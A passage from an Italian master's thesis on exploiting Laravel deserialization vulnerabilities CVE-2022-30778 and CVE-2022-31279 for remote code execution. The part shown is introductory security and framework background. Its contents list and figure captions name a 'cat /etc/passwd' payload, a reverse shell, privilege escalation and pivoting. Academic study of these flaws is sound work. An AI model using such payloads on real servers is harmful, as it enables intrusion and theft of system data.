UNIVERSITÀ POLITECNICA DELLE MARCHE

Pagina creata da Mattia La Rocca
 
CONTINUA A LEGGERE
UNIVERSITÀ POLITECNICA DELLE MARCHE
U NIVERSITÀ P OLITECNICA DELLE M ARCHE
              FACOLTÀ DI I NGEGNERIA
      Dipartimento di Ingegneria dell’Informazione
      Corso di Laurea Magistrale in Ingegneria Informatica e
                       dell’Automazione

                           T ESI DI L AUREA

Sfruttamento di vulnerabilità di Laravel per l’esecuzione
             di codice in modalità remota

   Exploting Laravel vulnerabilities for remote code
                      execution

    Relatore                                        Candidato

    Prof. Luca Spalazzi                             Davide Nunin

                      A NNO A CCADEMICO 2021-2022
UNIVERSITÀ POLITECNICA DELLE MARCHE
"Parte della disumanità del computer sta nel fatto che, una volta programmato e messo in
                                funzione, si comporta in maniera perfettamente onesta"

                                                                         Isaac Asimov
UNIVERSITÀ POLITECNICA DELLE MARCHE
Indice

1   Introduzione alla tesi                                                                                                            1
    1.1 Motivazioni e ambito . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                                  1
    1.2 Obiettivi tesi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                              1
    1.3 Struttura tesi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                              3

2   Introduzione alla cybersecurity e al concetto di vulnerabilità                                                                    4
    2.1 Il concetto di sicurezza . . . . . . . . . . . . . . . . . . . .                                  .   .   .   .   .   .   .   4
    2.2 Le vulnerabilità e la loro classificazione . . . . . . . . . .                                    .   .   .   .   .   .   .   5
    2.3 Esempi di vulnerabilità famose . . . . . . . . . . . . . . .                                      .   .   .   .   .   .   .   7
         2.3.1 Heartbleed . . . . . . . . . . . . . . . . . . . . . . .                                   .   .   .   .   .   .   .   7
         2.3.2 Eternalblue . . . . . . . . . . . . . . . . . . . . . .                                    .   .   .   .   .   .   .   8
    2.4 Il penetration testing . . . . . . . . . . . . . . . . . . . . .                                  .   .   .   .   .   .   .   8

3   Materiali e metodi usati nell’ attacco                                                                                            10
    3.1 Ricerca delle vulnerabilità . . . .       .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   10
    3.2 Ricerca sulla vulnerabilità . . . .       .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   11
        3.2.1 Il framework Laravel . . .          .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   11
        3.2.2 Insecure deserializzation .         .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   15
        3.2.3 Le POP chain . . . . . . .          .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   15
    3.3 Costruzione laboratorio virtuale          .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   18
        3.3.1 La rete . . . . . . . . . . .       .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   19
        3.3.2 Il client . . . . . . . . . . .     .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   19
        3.3.3 Il server . . . . . . . . . .       .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   19
        3.3.4 La web application . . . .          .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   20
    3.4 Costruzione payload malevolo .            .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   25
        3.4.1 CVE-2022-30778 . . . . . .          .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   25
        3.4.2 CVE-2022-31279 . . . . . .          .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   28

4   Risultati degli attacchi                                                                                                          34
    4.1 CVE-2022-30778 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                                  34
    4.2 CVE-2022-31279 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                                  36
    4.3 Session opening . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                                 36

                                              i
UNIVERSITÀ POLITECNICA DELLE MARCHE
INDICE                                                                                                                                      ii

          4.3.1 Cos è una shell . . .       .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   36
    4.4   Post exploitation . . . . . . .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   41
          4.4.1 Enumeration . . . .         .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   41
          4.4.2 Privilege Escalation .      .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   41
          4.4.3 Pivoting . . . . . . .      .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   42
    4.5   Enumerazione . . . . . . . .      .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   42

5   Conclusioni                                                                                                                             44
    5.1 Possibile impatto dell’ attacco . . . . . . . . . . . . . . . . . . . . . . .                                                       44
    5.2 Possibili mitigazioni . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                                       44
    5.3 Sviluppi futuri . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                                     45

Bibliografia                                                                                                                                46

Ringraziamenti                                                                                                                              48
UNIVERSITÀ POLITECNICA DELLE MARCHE
Elenco delle figure

2.1   Esempio di record del database CVE . . . . . . . . . . . . . . . . . . .             7
2.2   Distribuzione attacchi informatici 2018-2021 per area di competenza
      Clusit [2022] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .      9

3.1   Immagine che raffigura il funzionamento del framework Laravel               .   .   14
3.2   Prime righe del file composer.json . . . . . . . . . . . . . . . . . .      .   .   20
3.3   Diagramma delle sequenze dell’ interazione . . . . . . . . . . . .          .   .   21
3.4   Screenshot della homepage (/lab1/public/home) . . . . . . . . .             .   .   22
3.5   Diagramma delle classi coinvolte nell’ exploit . . . . . . . . . . . .      .   .   26
3.6   Diagramma delle classi coinvolte nell’ exploit . . . . . . . . . . . .      .   .   30

4.1   Modifica del cookie "preferences" tramite DevTools di Google Chrome                 35
4.2   Risultato dell’ attivazione del primo exploit con payload "cat /etc/-
      passwd" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .       35
4.3   Risultato dell’ attivazione del secondo exploit con payload "cat /etc/-
      passwd" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .       36
4.4   Impostazioni usate per la reverse shell . . . . . . . . . . . . . . . . . .         38
4.5   Modulo http.server di python3 in esecuzione . . . . . . . . . . . . . .             38
4.6   Dumb reverse shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . .        39
4.7   Risultato finale con shell stabilizzata . . . . . . . . . . . . . . . . . . .       40

                                          iii
UNIVERSITÀ POLITECNICA DELLE MARCHE
Elenco delle tabelle

iv
UNIVERSITÀ POLITECNICA DELLE MARCHE
CAPITOLO 1

                                                         Introduzione alla tesi

1.1    Motivazioni e ambito
    Come espresso nel titolo la presente tesi vuole trattare due vulnerabilità del
framework PHP Laravel andando ad analizzarne il funzionamento, le cause e non
da ultimo le conseguenze che esse portano. Ci sono state varie motivazioni che mi
hanno portato alla scelta di trattare queste vulnerabilità, innanzi tutto sono entrambe
vulnerabilità web e proprio per questo la loro importanza non è trascurabile. In questi
anni è aumentato l’ utilizzo mondiale del World Wide Web in termini di numero
di siti, ricerche giornaliere e mole di dati scambiati, anche a causa della scelta di
molte aziende di utilizzare questo potente strumento di comunicazione. La crescita
del numero di aziende che si sono dotate di un sito web o una web app spesso e
volentieri con annesso client mobile, ha incrementato (ulteriormente) l’ interesse del
cybercrimine verso questo mezzo. La seconda è che si tratta di un tipo di vulnerabilità
su cui esiste poca documentazione al riguardo in confronto ad altre, proprio per
questo ho pensato che fosse necessario contribuire alla trattazione dell’ argomento
nella speranza di poter aiutare qualcuno che ne avesse bisogno. Infine, entrambe
riguardano appunto un framework che ho avuto modo di provare già in passato e di
cui avevo acquisito una certa conoscenza della sua struttura.

1.2    Obiettivi tesi
   Gli obiettivi di questa tesi sono di fornire anche ai lettori meno esperti un’ in-
troduzione ai concetti fondamentali della cyberscurity e discutere e documentare
correttamente le vulnerabilità CVE-2022-31279 e CVE-2022-30778. Successivamente
andremo a dimostrare come è possibile sfruttarle per eseguire un attacco con alcuni
metodi propri del penetration testing e simulare una situazione di post exploitaion.

                                          1
UNIVERSITÀ POLITECNICA DELLE MARCHE
§1.2 − Obiettivi tesi                                                                2

Infine parleremo della loro pericolosità, della loro diffusione e di possibili modi per
mitigarne il danno.
UNIVERSITÀ POLITECNICA DELLE MARCHE
§1.3 − Struttura tesi                                                                3

1.3    Struttura tesi
   • Nel Capitolo 2 spiegheremo cos’ è la cybersecurity, il motivo per cui è un settore
     importantissimo delle discipline informatiche, il concetto di vulnerabilità e sue
     classificazioni, e forniremo degli esempi di vulnerabilità famose

   • Nel Capitolo 3 parleremo del funzionamento generale delle vulnerabilità og-
     getto, del framework Laravel, della costruzione del laboratorio virtuale in cui
     testare le vulnerabilità e del crafting del payload malevolo che sarà il nostro
     exploit.

   • Nel Capitolo 4 discuteremo i risultati degli attacchi, dimostreremo come è
     possibile, partendo dall’ exploit, ottenere una sessione attiva e spiegheremo cos’
     è la post exploitation

   • Nel Capitolo 5 forniremo dei suggerimenti su come mitigare il problema,
     parleremo del possibile impatto di questo tipo di attacchi, e degli sviluppi
     futuri.
CAPITOLO 2

  Introduzione alla cybersecurity e al concetto di vulnerabilità

2.1     Il concetto di sicurezza
    Negli ultimi anni la conoscenza e la capacità di utilizzare correttamente i sistemi
informatici sta diventando di vitale importanza per tutti noi anche nella vita di tutti
i giorni. Interazione con la pubblica amministrazione, commercio, socializzazione
e fruizione dell’ informazione sono solo alcuni dei tanti aspetti che stanno più o
meno velocemente diventando digitali. La crescita vertiginosa delle prestazioni delle
infrastrutture hardware e software, partita negli anni 80 e tutt’ ora in corso, e la crea-
zione di nuovi modelli di business legati ad esse hanno portato con loro un insieme
molto vasto di problematiche legate all’ utilizzo scorretto delle nuove tecnologie Il
settore tecnico-scientifico che si occupa della mitigazione di questi inconvenienti
è la cybersecurity, un termine nato negli anni 80 nel contesto della fantascienza,
ma che oggi possiede un proprio significato preciso e di importanza rilevante. Qui
forniamo le definizioni date dalla ISO (Internal Organizzation for Standardization)
in collaborazione con la IEC (International Electrotechnical Commission) dei termini
cybersecurity: “That practice that allows an entity (organization, citizen, nation, ...) to
protect its physical assets and confidentiality, integrity and availability of its informa-
tion from threats that come from cyberspace” e cyberspazio: “That complex resulting
from the interaction of people, software and services on the Internet by means of
technologies, devices and networks connected to it” ISO-IEC [2014]. Accertato quindi
che la cybersecurity è una branca del sapere umano che si occupa di ottenere la
sicurezza, è lecito chiedersi cosa si intende per sicurezza soprattutto in un contesto
così moderno come quello del cyberspazio. Come specificato nella definizione stessa
sono 3 i “pilastri” su cui poggia il concetto di cybersicurezza, ossia Confidenzialità,
Integrità e Disponibilità. La confidenzialità riguarda in particolare tre tipologie di
soggetti: il dato, la persona e l’ organizzazione. In tutti e 3 i casi si può definire questo
termine come la condizione in cui l’ informazione è fruibile solo da chi è autorizzato.
L’ integrità è invece un concetto che si può applicare non solo ai dati ma anche alle

                                             4
§2.2 − Le vulnerabilità e la loro classificazione                                       5

infrastrutture, siano esse di tipo hardware o software, in entrambi i casi la proprietà di
integrità garantisce che i sistemi siano in uno stato funzionante e i dati non vengano
compromessi. La disponibilità è invece la chiave per comprendere le altre 2 proprietà.
Con disponibilità ovviamente si intende la facoltà di un sistema di essere pronto all’
uso, ma sotto questa definizione banale si poggia un concetto molto importante della
cybersicurezza. Una famosa citazione del professor Eugene Howard Spafford dice:
“l’ unico sistema veramente sicuro è quello spento immerso in un blocco di cemento
e sigillato in una stanza rivestita di piombo con guardie armate, e anche in questo
caso ho i miei dubbi.”Dewdney [1989]. Questa espressione sottolinea ironicamente 2
concetti:

   • La sicurezza è tale fino a quando ci si accorge che non lo è.

   Non si può sapere con certezza che un sistema è sicuro al 100%, al contrario si
può dedurre dall’ esperienza quando un sistema NON è sicuro

   • Per garantire perfetta confidenzialità e integrità si dovrebbe rinunciare alla
     disponibilità.

   Appare chiaro che un sistema spento a cui non si può avere un accesso fisico
ha una “superficie di attacco” molto minore di uno funzionante e connesso, ma in
questo caso il sistema diventa sostanzialmente inutile.
   D’ ora in poi quindi ogni volta che parleremo di sicurezza sottointenderemo che
un sistema deve possedere in certa misura tutte e 3 le proprietà e che generalmente
una riduzione delle funzionalità di un sistema non si può considerare come una
misura di sicurezza in senso stretto, se non in casi particolari.

2.2     Le vulnerabilità e la loro classificazione
    Appurato che non esiste un metodo per verificare la sicurezza di un sistema ma
solo la sua eventuale insicurezza possiamo quindi domandarci quando un sistema
è insicuro. In questo senso quindi identifichiamo delle situazioni di varia natura
che chiamiamo vulnerabilità, esse sono la ragione abilitante di un cyberattacco. Così
come le discipline della crittografia e della crittanalisi procedono di pari passo, e
l’una prende spunto dal progresso dell’altra, allo stesso modo nella cybersecurity
è importante uno studio organizzato delle vulnerabilità e delle loro tipologie per
realizzare le relative contromisure. Possiamo cominciare quindi dall’ introduzione di
una vera e propria tassonomia delle vulnerabilità. La classificazione più completa si
basa su 3 caratteristiche:

   • La natura della vulnerabilità

   • Il suo dominio

   • La sua fonte

Per “natura” si intende sostanzialmente la volontarietà o meno dell’ introduzione
della vulnerabilità. Ad esempio, gli errori di progettazione e i comportamenti inaspet-
tati (bug) sono involontari, mentre una backdoor (termine utilizzato per descrivere
§2.2 − Le vulnerabilità e la loro classificazione                                        6

una vulnerabilità introdotta volontariamente in un sistema) no. La “fonte” dà invece
informazioni sull’ evitabilità o meno della vulnerabilità, in termini più semplici tutte
le vulnerabilità possono essere di tipo logico o fisico. Quelle logiche sono il risultato
di un errore logico introdotto in fase di progettazione del sistema e come tale può
essere (almeno teoricamente) evitabile. Una vulnerabilità fisica invece è una diretta
conseguenza dell’ utilizzo di una tecnologia hardware/software, o in altri termini è
un aspetto inevitabile dell’ utilizzo di una certa tecnologia come potrebbe essere l’
utilizzo di un modulo hardware difettoso o di un meccanismo di cifratura debole.
Dal momento in cui si effettua la scelta di utilizzo di una determinata tecnologia
in fase di progettazione di un sistema, la vulnerabilità non può essere più evitata
ma solo mitigata, in quanto è una caratteristica intrinseca della tecnologia stessa
(molto spesso infatti queste vulnerabilità sono legate al tipo di tecnica costruttiva dell’
hardware). Il dominio invece rappresenta la classificazione più densa di informazioni.
Comprende sia il tipo di entità soggetta alla vulnerabilità, che la componente vulnera-
bile del sistema, ancora una volta possiamo chiarire meglio. Bisogna ricordare che il
cyberspazio è formato non solo da macchine e protocolli, ma anche da persone e orga-
nizzazioni. Appunto per questo un vettore d’ attacco può essere non necessariamente
un software o un microchip, ma anche una persona o un’ organizzazione. Il dominio
di una vulnerabilità quindi puo essere di tipo tecnologico, umano o organizzativo.
Una vulnerabilità appartenente al dominio tecnologico riguarda unicamente il lato
tecnico ed è solitamente diffusa, in quanto colpisce tutte le istanze vulnerabili del
software o hardware coinvolto. Le vulnerabilità che sfruttano l’ elemento umano
sono invece profondamente diverse. Una persona può essere analizzata nel com-
portamento e indotta a rivelare informazioni o a compiere azioni a vantaggio del
malintenzionato. Cosa ancora diversa è un dominio organizzativo, in tal caso la
vulnerabilità interessa l’ infrastruttura di un organizzazione o azienda solitamente
tramite un mix di negligenze da parte dei componenti della stessa e difetti strutturali
dell’ apparato comunicativo/informatico. Allo scopo di fornire una corretta tasso-
nomia delle vulnerabilità e di organizzare la documentazione su ciascuna di esse è
stato creato dalla MITRE il database “Common Vulnerabilities and Exposures” (CVE
in breve), un dizionario online di pubblico dominio che contiene un gran numero di
vulnerabilità dei sistemi hardware/software più diffusi. Ogni vulnerabilità riceve
un codice identificativo che inizia con la sigla CVE-YYYY-NNNN dove NNNN è un
numero di cifre arbitrario progressivo. Inoltre a ogni vulnerabilità viene associato:

   • un tipo eventualmente multiplo

   • una descrizione

   • un punteggio da 0 a 10 che ne determina la gravità

   • una data di publicazione

   • una data di ultimo aggiornamento

   • informazioni di vario genere sul tipo di autenticazione richiesta, perdita della
     confidenzialità e dell’ integrità e facilità di sfruttamento
§2.3 − Esempi di vulnerabilità famose                                                     7

    Il “tipo” è una caratteristica che può rappresentare sia il dominio della vulnerabi-
lità sia l’ effetto che quest’ ultima può produrre, ad esempio:

                     Figura 2.1: Esempio di record del database CVE

    Questa è una vulnerabilità dell’ anno 2022 con doppio tipo, solitamente quando
sono specificati due tipi uno indica il dominio e l’ altro l’ effetto, in questo caso quindi
sappiamo che CVE-2022-40149 è una vulnerabilità di overflow che può causare denial
of service ed è stata pubblicata il 16 settembre 2022. Questa classificazione è molto
meno rigorosa di quella descritta in precedenza, ma è più immediata nel fornire i
dati essenziali. Nel caso di criticità pericolose appena scoperte è molto importante
che chi se ne debba occupare intervenga rapidamente, per poterlo fare è necessario
essere in possesso di informazioni più operative come ad esempio a quanto tempo
fa risale la scoperta, o le possibili conseguenze della vulnerabilità (non è di nessuna
utilità in questo caso sapere ad esempio la sua “natura”). È bene infine spiegare un
altro concetto proprio della cybersecurity, ossia cosa è un exploit, la definizione data
da wikipedia è la seguente: "una tipologia di script, virus, worm, porzione di dati o
binario che sfrutta un bug o una vulnerabilità per creare comportamenti non previsti
in software, hardware, o in sistemi elettronici (solitamente computerizzati)"Wik [2019]
tuttavia si può generalizzare il concetto per includere anche tipologie di exploit meno
canoniche: "Un exploit è il mezzo o il metodo con cui si sfrutta una vulnerabilità
a scopo malevolo”. In questa ampia definizione quindi un exploit può essere un
software, una componente hardware o ancora una tecnica di ingegneria sociale. Un
exploit è quindi molto legato alla vulnerabilità che lo rende possibile, di conseguenza
nel parlato i due termini vengono utilizzati in maniera intercambiabile poiché spesso
si può dedurre dal contesto se ci si riferisce a l’uno pittosto che all’ altro.

2.3     Esempi di vulnerabilità famose
   Per meglio capire la portata degli effetti delle vulnerabilità riportiamo qua due
esempi

2.3.1    Heartbleed
    Heartbleed è il nome di una vulnerabilità presente nella libreria di supporto
crittografico OpenSSL. Scoperta nell’ aprile del 2014 viene classificata come buffer
over read ossia permette di leggere dati da un buffer in memoria oltre i limiti dello
stesso. Questa tecnica poteva essere sfrutttata anche per estrarre le chiavi crittogra-
fiche utilizzate da openssl caricate in memoria, compromettendo quindi le future
connessioni e permettendo addirittura in alcuni casi di rubare i certificati usati per
l’autenticazione delle connessioni con tutti i danni che da ciò derivano. Oltre agli
effetti drammatici della vulnerabilità, la gravità di heartbleed è dovuta soprattutto
all’ enorme diffusione di OpenSSL tanto che alcuni sono arrivati a definire heart-
bleed come "la peggiore vulnerabilità della storia in termini di potenziale impatto da
quando il traffico commerciale ha cominciato a scorrere su internet"Steinberg [2014].
§2.4 − Il penetration testing                                                          8

2.3.2   Eternalblue
    Nel maggio del 2017 fa la sua comparsa in rete il malware WannaCry ritenuto
ancora oggi il più grande attacco ransomware di sempre. Come tutti i ransomware,
WannaCry è un software in grado di criptare i file personali contenuti nel pc infetto,
dato che i file vengono criptati con cifratura allo stato dell’ arte il loro recupero
sarebbe stato possibile solo pagando ai criminali una certa quota in criptovalute.
L’ enorme diffusione di WannaCry è dovuta al fatto che non si è diffuso per email
come molti altri ransomware ma sfruttando un exploit del protocollo SMB (Server
Message Block) chiamato Eternalblue. Eternalblue sfrutta una vulnerabilità presente
nelle versioni di Windows inferiori alla 10 dovuta ad una errata implementazione del
client SMB su di esse installato. Grazie a questa vulnerabilità è possibile ottenere una
situazione di Remote Code Execution, ossia di esecuzione di codice arbitrario su una
macchina senza doverne avere accesso fisico. è stato proprio questo exploit quindi il
vero fattore del “successo” di WannaCry, in quanto sfrutta un protocollo largamente
usato (specie in reti di aziende o di organizzazioni) per replicarsi su tutti i computer
vulnerabili della rete SENZA dovere dover trarre in inganno un utente per esempio
nel dover aprire un allegato malevolo. La gravità della vulnerabilità in questione
ha portato Microsoft alla inusuale scelta di rilasciare delle patch di sicurezza anche
per versioni di Windows datate che avevano da tempo teminato il supporto come lo
stesso Windows XP.

2.4     Il penetration testing
    Abbiamo già parlato di come si può verificare la sicurezza di un sistema solo
empiricamente, proprio per questo una delle figure più diffuse nella cybersecurity è
quella del penetration tester (anche chiamato hacker etico). È una figura professionale
che utilizza tecniche usate dagli hacker per mettere alla prova la sicurezza dei sistemi
informatici proprio per verificarne la sicurezza e dare l’ opportunità a chi si occupa
di mantenere il sistema di effettuare migliorie, questo all’ atto pratico consiste nella
ricerca di vulnerabilità. Così come il testing seppur non infallibile è diventato una
fase irrinunciabile nel processo di produzione del software, il penetration testing sta
diventando tale nel mantenimento di grandi sistemi informatici. Questo trend trova
corrispondenza con i dati riguardanti gli attacchi informatici negli ultimi anni. Qui
sotto è riportata una tabella proveniente dal rapporto Clusit 2022 che ci fornisce una
stima delle tecniche di attacco più utilizzate dal 2018 al 2021
    Emergono da questa tabella delle considerazioni preoccupanti; La prima è sicura-
mente che il numero totale di attacchi annuo è in salita da oramai almeno quattro
anni, la seconda è che le tecniche in forte rialzo sono proprio quelle basate su vul-
nerabilità e web, (fermo restando che quelle più utilizzate restano l’ uso di malware
e quelle di classificazione sconosciuta). Esattamente per questo la richiesta di pene-
tration tester sta crescendo e continuerà probabilmente a crescere nei prossimi anni
Ovviamente c’ è una grande differenza tra un hacker etico e un cracker, prima di
tutto l’ hacker etico opera in un contesto legale e con il consenso dell’ organizzazione,
inoltre il penetration tester ha dei limiti ben precisi sulle tecniche che può e non può
utilizzare. In particolare un hacker etico non può premettersi di compromettere il
funzionamento del sistema tramite il suo operato. Le tecniche di penetration testing
§2.4 − Il penetration testing                                                              9

Figura 2.2: Distribuzione attacchi informatici 2018-2021 per area di competenza Clusit [2022]

sono metodi principalmente derivati dal mondo dell’ hacking, e presuppongono
una grande conoscenza di vari settori del mondo dell’ informatica. L’ attaccante
deve avere competenze di programmazione, conoscenza delle reti di calcolatori, dei
sistemi operativi, del middleware usato dal sistema, e saper utilizzare un sacco di
strumenti spesso provenienti dal mondo dell’ open source che lo aiutano nelle varie
fasi del suo lavoro.
CAPITOLO 3

                                    Materiali e metodi usati nell’ attacco

3.1    Ricerca delle vulnerabilità
    Come abbiamo capito esistono svariati tipi di vulnerabilità riguardanti ogni aspet-
to della "computer science", dai database, ai sistemi operativi, fino al web. Lo scopo
di questa tesi è appunto quello di trattare una vulnerabilità recente al tempo della
stesura e di sviscerarla quanto più possibile, partendo dal funzionamento fino a
fornire considerazioni sulla mitigazione. Per far questo è stato necessario trovare una
vulnerabilità riguardante un dominio soggetto a sviluppi recenti, tuttavia solo nell’
anno 2022 sono state rese note circa 19193 vulnerabilità secondo il database CVE.
Purtroppo dato il numero così elevato non è stato possibile tenere in considerazione
ciascuna di esse nè tantomeno effettuare una scrematura che le comprendesse tutte.
Per trovare una vulnerabilità da trattare è stato necessario effettuare un’ operazione
di filtraggio secondo data, tipo di vulnerabilità e dominio, oltre che gravità. Si è anche
tenuto conto del tipo di preparazione necessaria ad approfondire una vulnerabilità
del genere, non tutti i ricercatori in quest’ ambito infatti possiedono le competenze
più adatte per trattare e analizzare tutte le vulnerabilità, esistono infatti numerose
specializzazioni della cybersecurity quasi speculari rispetto alle aree tematiche dell’
informatica applicata. Sarebbe quantomento improbabile che uno sviluppatore di
DBMS scopra una falla nel kernel di linux, sia per il numero di conoscenze e com-
petenze necessarie per raggiungere un risultato del genere, sia anche per la grande
concorrenza opposta da ricercatori e community che lavorano esplicitamente in quel
settore. Il dominio scelto è stato quindi la web security, questo sia perchè, come già
espresso nell’ introduzione, il web è una risorsa importantissima e utilizzatissima,
sia perchè è soggetta ad un evoluzione estremamente dinamica, basti pensare in soli
20 anni di esistenza al numero di protocolli introdotti(ajax,websocket,RTSP,HTTPS) e
ancor più a quelli caduti in disuso o dichiarati insicuri(GOPHER,FTP,HTTP). Inoltre
nella web security stessa esistono tante branche, la suddivisione più importante
rimane però tra sicurezza lato client e sicurezza lato server. Se la client web security

                                           10
§3.2 − Ricerca sulla vulnerabilità                                                     11

si preoccupa di porre rimedio a tecniche offensive indirizzate contro i browser e
che in generale colpiscono la popolazione, la server side security mira a proteggere
i sistemi delle organizzazioni che gestiscono i siti web anche nell’ interesse degli
utenti, proprio perchè questi fornendo dati alle volte anche sensibili a queste società
diventano stakeholder della sicurezza dell’ organizzazione, ragion per cui si è optato
per le vulnerabilità lato server. Il fattore determinante che ha portato alla scelta di
CVE-2022-31279 e CVE-2022-30778 è stato però la loro connessione con il framework
Laravel, questo perchè è stato oggetto del corso di studi dell’ autore della tesi ed è il
framework open source PHP con il seguito maggiore su github, dato di fondamentale
importanza poichè la maggior parte del software libero anche ad uso professionale
oramai viene sviluppato su questa piattaforma o simili. Data la pressochè perfetta
corrispondenza di CVE-2022-31279 e CVE-2022-30778 con questi criteri, esse sono
risultate la scelta dell’ oggetto della tesi e verranno trattate nel capitolo corrente e
successivi.

3.2     Ricerca sulla vulnerabilità
    Iniziamo ora a conoscere più da vicino le nostre vulnerabilità in questione, CVE-
2022-31279 e CVE-2022-30778 sono 2 vulnerabilità scoperte nel maggio 2022 dal
pentester utente di github "Inhann".
    Sono 2 vulnerabilità web che colpiscono Laravel, uno dei framework PHP ad
uso professionale più utilizzati al giorno d’ oggi. Come vedremo in seguito sono
vulnerabilità estremamente simili tra di loro, colpiscono infatti lo stesso framework e
appartengolo tutte e 2 alla famiglia di debolezze chiamata "insecure deserializzation"
e in particolare sono entrambe chiamate "POP chain" pur utilizzando dei meccanismi
differenti.

3.2.1   Il framework Laravel
    Appare chiaro che serve un pò di contesto per analizzare correttamente i 2 cve,
iniziamo dal framework.
    Laravel è un framework PHP per lo sviluppo di web app creato nel 2011 da
Taylor Otwell basato su Symphony. È distribuito su licenza MIT ed è un progetto
open source mantenuto su Github. È un framework estremamente completo e che è
possibile sfruttare al massimo solo accumulando tanta esperienza proprio a causa
delle enormi possibilità che offre. Tra le caratteristiche principali di Laravel troviamo:

   • Una shell incorporata scritta in PHP chiamata Artisan con cui è possibile
     cambiare molte configurazioni del progetto

   • Driver per la connessione a vari tipi di DB relazionali e non quali MySQL,
     PostgreSQL, Redis e altri.

   • Blade, un template engine molto potente che permette di modularizzare i layout
     del sito e facilitare lo svluppo dell’ interfaccia grafica estendendo la sintassi del
     PHP+HTML
§3.2 − Ricerca sulla vulnerabilità                                                  12

   • Orientamento naturale all’ architettura MVE (Model View Controller) con
     comandi artisan dedicati.

   • Piena facoltà di integrazione con altri package PHP disponibili con il package
     manager Composer.

È molto difficile fornire un compendio di tutte le caratteristiche di Laravel poichè è
un framework adatto a tantissimi tipi di web app, con una codebase molto estesa,
proprio per questo nel corso della trattazione delle vulnerabilità ci limiteremo a
spiegare meglio il funzionamento delle componenti coinvolte. Per adesso ci basta
chiarire cosa si intende per progetto Laravel e la struttura di un progetto.

laravel/laravel
   L’ installazione di Laravel coincide con l’ atto della creazione di un template di
progetto. Per installare Laravel quindi è necessario installare dapprima il package
manager PHP composer, (in ambiente linux ciò è possibile tramite il comando

 sudo apt install composer

oppure scaricandolo dal sito ufficiale. Successivamente tramite il comando

 php composer create-project              laravel/laravel

è possibile installare uno scheletro di un progetto Laravel in una directory a nostra
scelta. Il package laravel/laravel non contiene solamente la codebase del framework
Laravel (che si trova nel package laravel/framework) ma anche una serie di package
ausiliari che ben si integrano con il workflow di Laravel come la stessa shell Artisan.
La struttura di un progetto Laravel è la seguente.
§3.2 − Ricerca sulla vulnerabilità   13

    laraproject
       app

       artisan

       bootstrap

       composer.json

       composer.lock

       config

       database

       public
       resources
       routes
       storage

       tests

       vendor
§3.2 − Ricerca sulla vulnerabilità                                                     14

  dove app, bootstrap etc. sono cartelle contenenti elementi funzionali del fra-
mework, qui sotto sono riportati quelli che dovremo conoscere:
   • app contine le classi PHP necessarie alla logica della app, quindi tutti i model e
     i controller
   • database contiene delle classi che regolano la migrazione del DB e permettono
     di popolare facilmente il DB
   • routes contiene i file dove vengono specificate le rotte dichiarate per la web app
     e per un eventuale API
   • resources contiene i file che contengono la logica frontend (viste, css e javascript)
   • infine vendor è la cartella in cui composer installa tutti i package specificati nei
     file composer.json e composer.lock

il workflow di Laravel
  Laravel standardizza il flusso del codice all’ interno dell’ applicazione in questo
modo:

       Figura 3.1: Immagine che raffigura il funzionamento del framework Laravel

    In breve all’ arrivo di una HTTP request il webserver esegue l’ index.php nella
cartella public che attiva a catena una serie di componenti che si occupano di im-
portare dipendenze e di approntare l’ esecuzione della logica dell’ app che sta nella
cartella /app, questa catena di chiamate arriva al componente "Router" il quale a
seconda della rotta che è stata richiesta passa l’ esecuzione a un Controller il quale fa
le sue elaborazioni, talvolta accedendo al DB tramite l’ interfaccia dei Model, e genera
una vista che inoltra al webserver per l’ invio al client. In questo modo si solleva
il programmatore da varie preoccupazioni di natura tecnica come la gestione delle
dipendenze e vengono messe a disposizione delle funzionalità di autenticazione,
autorizzazione, caching, testing che agevolano il lavoro dello stesso.
§3.2 − Ricerca sulla vulnerabilità                                                           15

3.2.2    Insecure deserializzation
    Una vulnerabilità di insecure deserializzation sfrutta il meccanismo della se-
rializzazione degli oggetti integrato in molti linguaggi di programmazione. Per
"serializzazione di un oggetto" si intende in generale la procedura di conversione
di un oggetto propriamente detto, o di una struttura dati in una rappresentazione
binaria o testuale che contiene tutte le informazioni sullo stato della stessa per poi
ripristinarle in memoria tramite la procedura opposta chiamata "deserializzazione".
Questa procedura viene effettuata di solito per realizzare il salvataggio delle infor-
mazioni su memoria di massa alla chiusura di un programma o per inviarli ad un
altro computer. L’ insecure deserializzation é una condizione che si verifica quando
un programma deserializza un oggetto che può essere modificato da altri, relizzando
